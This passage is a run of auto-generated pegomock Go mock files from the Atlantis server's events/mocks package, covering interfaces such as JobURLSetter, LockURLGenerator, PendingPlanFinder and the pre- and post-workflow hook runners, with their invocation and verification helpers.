VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJobMessageSender { return &VerifierMockJobMessageSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockJobMessageSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJobMessageSender { return &VerifierMockJobMessageSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockJobMessageSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJobMessageSender { return &VerifierMockJobMessageSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockJobMessageSender struct { mock *MockJobMessageSender invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockJobMessageSender) Send(ctx command.ProjectContext, msg string, operationComplete bool) *MockJobMessageSender_Send_OngoingVerification { _params := []pegomock.Param{ctx, msg, operationComplete} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) return &MockJobMessageSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockJobMessageSender_Send_OngoingVerification struct { mock *MockJobMessageSender methodInvocations []pegomock.MethodInvocation } func (c *MockJobMessageSender_Send_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, bool) { ctx, msg, operationComplete := c.GetAllCapturedArguments() return ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1] } func (c *MockJobMessageSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []bool) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]bool, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(bool) } } } return } ================================================ FILE: server/events/mocks/mock_job_url_setter.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: JobURLSetter) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockJobURLSetter struct { fail func(message string, callerSkip ...int) } func NewMockJobURLSetter(options ...pegomock.Option) *MockJobURLSetter { mock := &MockJobURLSetter{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockJobURLSetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockJobURLSetter) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockJobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectCommandOutput) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockJobURLSetter().") } _params := []pegomock.Param{ctx, cmdName, status, res} _result := pegomock.GetGenericMockFrom(mock).Invoke("SetJobURLWithStatus", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockJobURLSetter) VerifyWasCalledOnce() *VerifierMockJobURLSetter { return &VerifierMockJobURLSetter{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockJobURLSetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJobURLSetter { return &VerifierMockJobURLSetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockJobURLSetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJobURLSetter { return &VerifierMockJobURLSetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockJobURLSetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJobURLSetter { return &VerifierMockJobURLSetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockJobURLSetter struct { mock *MockJobURLSetter invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockJobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectCommandOutput) *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification { _params := []pegomock.Param{ctx, cmdName, status, res} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SetJobURLWithStatus", _params, verifier.timeout) return &MockJobURLSetter_SetJobURLWithStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockJobURLSetter_SetJobURLWithStatus_OngoingVerification struct { mock *MockJobURLSetter methodInvocations []pegomock.MethodInvocation } func (c *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, *command.ProjectCommandOutput) { ctx, cmdName, status, res := c.GetAllCapturedArguments() return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], res[len(res)-1] } func (c *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []*command.ProjectCommandOutput) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]command.Name, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(command.Name) } } if len(_params) > 2 { _param2 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.CommitStatus) } } if len(_params) > 3 { _param3 = make([]*command.ProjectCommandOutput, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(*command.ProjectCommandOutput) } } } return } ================================================ FILE: server/events/mocks/mock_lock_url_generator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: LockURLGenerator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockLockURLGenerator struct { fail func(message string, callerSkip ...int) } func NewMockLockURLGenerator(options ...pegomock.Option) *MockLockURLGenerator { mock := &MockLockURLGenerator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockLockURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockLockURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockLockURLGenerator) GenerateLockURL(lockID string) string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockLockURLGenerator().") } _params := []pegomock.Param{lockID} _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateLockURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) var _ret0 string if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } } return _ret0 } func (mock *MockLockURLGenerator) VerifyWasCalledOnce() *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockLockURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockLockURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockLockURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockLockURLGenerator struct { mock *MockLockURLGenerator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockLockURLGenerator) GenerateLockURL(lockID string) *MockLockURLGenerator_GenerateLockURL_OngoingVerification { _params := []pegomock.Param{lockID} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateLockURL", _params, verifier.timeout) return &MockLockURLGenerator_GenerateLockURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockLockURLGenerator_GenerateLockURL_OngoingVerification struct { mock *MockLockURLGenerator methodInvocations []pegomock.MethodInvocation } func (c *MockLockURLGenerator_GenerateLockURL_OngoingVerification) GetCapturedArguments() string { lockID := c.GetAllCapturedArguments() return lockID[len(lockID)-1] } func (c *MockLockURLGenerator_GenerateLockURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_pending_plan_finder.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: PendingPlanFinder) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" "reflect" "time" ) type MockPendingPlanFinder struct { fail func(message string, callerSkip ...int) } func NewMockPendingPlanFinder(options ...pegomock.Option) *MockPendingPlanFinder { mock := &MockPendingPlanFinder{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPendingPlanFinder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPendingPlanFinder) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPendingPlanFinder) DeletePlans(pullDir string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPendingPlanFinder().") } _params := []pegomock.Param{pullDir} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlans", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockPendingPlanFinder) Find(pullDir string) ([]events.PendingPlan, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPendingPlanFinder().") } _params := []pegomock.Param{pullDir} _result := pegomock.GetGenericMockFrom(mock).Invoke("Find", _params, []reflect.Type{reflect.TypeOf((*[]events.PendingPlan)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []events.PendingPlan var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]events.PendingPlan) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockPendingPlanFinder) VerifyWasCalledOnce() *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPendingPlanFinder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPendingPlanFinder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPendingPlanFinder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPendingPlanFinder { return &VerifierMockPendingPlanFinder{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPendingPlanFinder struct { mock *MockPendingPlanFinder invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPendingPlanFinder) DeletePlans(pullDir string) *MockPendingPlanFinder_DeletePlans_OngoingVerification { _params := []pegomock.Param{pullDir} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlans", _params, verifier.timeout) return &MockPendingPlanFinder_DeletePlans_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPendingPlanFinder_DeletePlans_OngoingVerification struct { mock *MockPendingPlanFinder methodInvocations []pegomock.MethodInvocation } func (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetCapturedArguments() string { pullDir := c.GetAllCapturedArguments() return pullDir[len(pullDir)-1] } func (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } func (verifier *VerifierMockPendingPlanFinder) Find(pullDir string) *MockPendingPlanFinder_Find_OngoingVerification { _params := []pegomock.Param{pullDir} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Find", _params, verifier.timeout) return &MockPendingPlanFinder_Find_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPendingPlanFinder_Find_OngoingVerification struct { mock *MockPendingPlanFinder methodInvocations []pegomock.MethodInvocation } func (c *MockPendingPlanFinder_Find_OngoingVerification) GetCapturedArguments() string { pullDir := c.GetAllCapturedArguments() return pullDir[len(pullDir)-1] } func (c *MockPendingPlanFinder_Find_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_post_workflow_hook_url_generator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: PostWorkflowHookURLGenerator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockPostWorkflowHookURLGenerator struct { fail func(message string, callerSkip ...int) } func NewMockPostWorkflowHookURLGenerator(options ...pegomock.Option) *MockPostWorkflowHookURLGenerator { mock := &MockPostWorkflowHookURLGenerator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPostWorkflowHookURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPostWorkflowHookURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPostWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPostWorkflowHookURLGenerator().") } _params := []pegomock.Param{hookID} _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateProjectWorkflowHookURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledOnce() *VerifierMockPostWorkflowHookURLGenerator { return &VerifierMockPostWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHookURLGenerator { return &VerifierMockPostWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHookURLGenerator { return &VerifierMockPostWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHookURLGenerator { return &VerifierMockPostWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPostWorkflowHookURLGenerator struct { mock *MockPostWorkflowHookURLGenerator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPostWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification { _params := []pegomock.Param{hookID} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateProjectWorkflowHookURL", _params, verifier.timeout) return &MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification struct { mock *MockPostWorkflowHookURLGenerator methodInvocations []pegomock.MethodInvocation } func (c *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetCapturedArguments() string { hookID := c.GetAllCapturedArguments() return hookID[len(hookID)-1] } func (c *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_post_workflows_hooks_command_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: PostWorkflowHooksCommandRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockPostWorkflowHooksCommandRunner struct { fail func(message string, callerSkip ...int) } func NewMockPostWorkflowHooksCommandRunner(options ...pegomock.Option) *MockPostWorkflowHooksCommandRunner { mock := &MockPostWorkflowHooksCommandRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPostWorkflowHooksCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPostWorkflowHooksCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *events.CommentCommand) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPostWorkflowHooksCommandRunner().") } _params := []pegomock.Param{ctx, cmd} _result := pegomock.GetGenericMockFrom(mock).Invoke("RunPostHooks", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledOnce() *VerifierMockPostWorkflowHooksCommandRunner { return &VerifierMockPostWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHooksCommandRunner { return &VerifierMockPostWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHooksCommandRunner { return &VerifierMockPostWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPostWorkflowHooksCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHooksCommandRunner { return &VerifierMockPostWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPostWorkflowHooksCommandRunner struct { mock *MockPostWorkflowHooksCommandRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *events.CommentCommand) *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification { _params := []pegomock.Param{ctx, cmd} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunPostHooks", _params, verifier.timeout) return &MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification struct { mock *MockPostWorkflowHooksCommandRunner methodInvocations []pegomock.MethodInvocation } func (c *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) { ctx, cmd := c.GetAllCapturedArguments() return ctx[len(ctx)-1], cmd[len(cmd)-1] } func (c *MockPostWorkflowHooksCommandRunner_RunPostHooks_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*command.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*command.Context) } } if len(_params) > 1 { _param1 = make([]*events.CommentCommand, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*events.CommentCommand) } } } return } ================================================ FILE: server/events/mocks/mock_pre_workflow_hook_url_generator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: PreWorkflowHookURLGenerator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockPreWorkflowHookURLGenerator struct { fail func(message string, callerSkip ...int) } func NewMockPreWorkflowHookURLGenerator(options ...pegomock.Option) *MockPreWorkflowHookURLGenerator { mock := &MockPreWorkflowHookURLGenerator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPreWorkflowHookURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPreWorkflowHookURLGenerator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPreWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPreWorkflowHookURLGenerator().") } _params := []pegomock.Param{hookID} _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateProjectWorkflowHookURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledOnce() *VerifierMockPreWorkflowHookURLGenerator { return &VerifierMockPreWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHookURLGenerator { return &VerifierMockPreWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHookURLGenerator { return &VerifierMockPreWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPreWorkflowHookURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHookURLGenerator { return &VerifierMockPreWorkflowHookURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPreWorkflowHookURLGenerator struct { mock *MockPreWorkflowHookURLGenerator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPreWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification { _params := []pegomock.Param{hookID} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GenerateProjectWorkflowHookURL", _params, verifier.timeout) return &MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification struct { mock *MockPreWorkflowHookURLGenerator methodInvocations []pegomock.MethodInvocation } func (c *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetCapturedArguments() string { hookID := c.GetAllCapturedArguments() return hookID[len(hookID)-1] } func (c *MockPreWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_pre_workflows_hooks_command_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: PreWorkflowHooksCommandRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockPreWorkflowHooksCommandRunner struct { fail func(message string, callerSkip ...int) } func NewMockPreWorkflowHooksCommandRunner(options ...pegomock.Option) *MockPreWorkflowHooksCommandRunner { mock := &MockPreWorkflowHooksCommandRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPreWorkflowHooksCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPreWorkflowHooksCommandRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *events.CommentCommand) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPreWorkflowHooksCommandRunner().") } _params := []pegomock.Param{ctx, cmd} _result := pegomock.GetGenericMockFrom(mock).Invoke("RunPreHooks", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledOnce() *VerifierMockPreWorkflowHooksCommandRunner { return &VerifierMockPreWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHooksCommandRunner { return &VerifierMockPreWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHooksCommandRunner { return &VerifierMockPreWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPreWorkflowHooksCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHooksCommandRunner { return &VerifierMockPreWorkflowHooksCommandRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPreWorkflowHooksCommandRunner struct { mock *MockPreWorkflowHooksCommandRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *events.CommentCommand) *MockPreWorkflowHooksCommandRunner_RunPreHooks_OngoingVerification { _params := []pegomock.Param{ctx, cmd} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunPreHooks", _params, verifier.timeout) return 